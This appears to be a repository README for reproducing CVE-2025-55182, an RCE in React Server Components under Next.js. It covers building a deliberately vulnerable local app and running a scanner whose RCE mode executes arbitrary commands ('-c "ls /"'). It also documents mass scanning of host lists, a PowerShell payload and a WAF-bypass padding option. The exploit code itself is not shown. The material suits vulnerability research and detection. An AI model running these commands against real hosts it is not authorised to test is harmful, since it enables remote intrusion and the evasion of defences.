zzhorc/cve-2025-55182CVE-2025-55182复现环境及RCE回显poc
| Component | Recommended Version for Reproduction | Vulnerable Version Range |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) and above |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 or 19.2.0 | 19.0.0 to 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 to 19.2.0 |
Force install a low version
cd cve-2025-55182-target
npm install --force
Verify dependency versions
npm list react next
# Confirm the output shows [email protected] and [email protected]
As long as the top-level dependency list shows [email protected] and [email protected], the environment is successfully locked in a vulnerable state. You can ignore any warnings and error codes here.
Build:
npm run build
Run:
npm start
The server will listen on http://localhost:3000. The environment is set up and ready for vulnerability verification.
Vulnerability Detection/Scanning:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
A command-line tool for detecting CVE-2025-55182 and CVE-2025-66478 in Next.js applications using React Server Components.
For technical details on the vulnerability and detection methodology, see our blog post: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
By default, the scanner sends a crafted multipart POST request containing an RCE proof-of-concept payload that executes a deterministic math operation (41*271 = 11111). Vulnerable hosts return the result in the X-Action-Redirect response header as /login?a=11111.
The scanner tests the root path first. If not vulnerable, it follows same-host redirects (e.g., / to /en/) and tests the redirect destination. Cross-origin redirects are not followed.
The --safe-check flag uses an alternative detection method that relies on side-channel indicators (500 status code with specific error digest) without executing code on the target. Use this mode when RCE execution is not desired.
The --waf-bypass flag prepends random junk data to the multipart request body. This can help evade WAF content inspection that only analyzes the first portion of request bodies. The default size is 128KB, configurable via --waf-bypass-size. When WAF bypass is enabled, the timeout is automatically increased to 20 seconds (unless explicitly set).
The --windows flag switches the payload from Unix shell (echo $((41*271))) to PowerShell (powershell -c "41*271") for targets running on Windows.
pip install -r requirements.txt
Scan a single host:
python3 scanner.py -u https://example.com
Scan a list of hosts:
python3 scanner.py -l hosts.txt
Scan with multiple threads and save results:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scan with custom headers:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Use safe side-channel detection:
python3 scanner.py -u https://example.com --safe-check
Scan Windows targets:
python3 scanner.py -u https://example.com --windows
Scan with WAF bypass:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url Single URL to check
-c, --cmd Command to execute
-l, --list File containing hosts (one per line)
-t, --threads Number of concurrent threads (default: 10)
--timeout Request timeout in seconds (default: 10)
-o, --output Output file for results (JSON)
--all-results Save all results, not just vulnerable hosts
-k, --insecure Disable SSL certificate verification
-H, --header Custom header (can be used multiple times)
-v, --verbose Show response details for vulnerable hosts
-q, --quiet Only output vulnerable hosts
--no-color Disable colored output
--safe-check Use safe side-channel detection instead of RCE PoC
--windows Use Windows PowerShell payload instead of Unix shell
--waf-bypass Add junk data to bypass WAF content inspection
--waf-bypass-size Size of junk data in KB (default: 128)
The RCE PoC was originally disclosed by @maple3142 -- we are incredibly grateful for their work in publishing a working PoC.
This tooling originally was built out as a safe way to detect the RCE. This functionality is still available via --safe-check, the "safe detection" mode.
Results are printed to the terminal. When using -o, vulnerable hosts are saved to a JSON file containing the full HTTP request and response for verification.